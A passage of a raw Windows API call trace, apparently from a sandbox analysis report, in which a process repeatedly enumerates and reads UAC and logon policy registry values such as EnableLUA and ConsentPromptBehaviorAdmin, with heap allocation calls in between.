lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.997] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0250.997] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x119c4c0, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x119c4c0*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0250.997] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c4c0) returned 1 [0250.997] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.997] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119b8e8 [0250.997] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b900 [0250.997] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0250.997] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b910 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c4c0 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b920 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5e0 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b9b8 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c598 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119b9c8 [0250.998] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b8e8) returned 1 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b8e8 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c550 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b9f0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c508 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119ba00 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c478 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119ba10 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c430 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x30) returned 0x119ba20 [0250.998] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9c8) returned 1 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b9c8 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3e8 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b9d8 [0250.998] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a0 [0250.998] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119ba58 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c358 [0250.999] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119ba68 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0250.999] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ba20) returned 1 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119ba20 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0250.999] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119ba30 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0250.999] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d270 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0250.999] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d280 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.999] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.999] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b900) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c4c0) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b910) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5e0) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b920) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c598) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9b8) returned 1 [0250.999] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c550) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b8e8) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c508) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9f0) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c478) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ba00) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c430) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ba10) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3e8) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9c8) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3a0) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9d8) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c358) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ba58) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ba68) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ba20) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119ba30) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d270) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d280) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.000] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.000] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0251.000] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x119c2c8, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x119c2c8*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.000] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.000] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.000] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.000] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d280 [0251.000] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.000] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.000] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d270 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d290 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119b8e8 [0251.001] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c358 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x30) returned 0x119b9b8 [0251.001] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b8e8) returned 1 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2f0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a0 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d300 [0251.001] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3e8 [0251.001] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d310 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c430 [0251.002] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d320 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c478 [0251.002] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c508 [0251.002] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9b8) returned 1 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d330 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c550 [0251.002] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d340 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c598 [0251.002] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5e0 [0251.002] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c4c0 [0251.002] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.002] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.002] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.002] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, 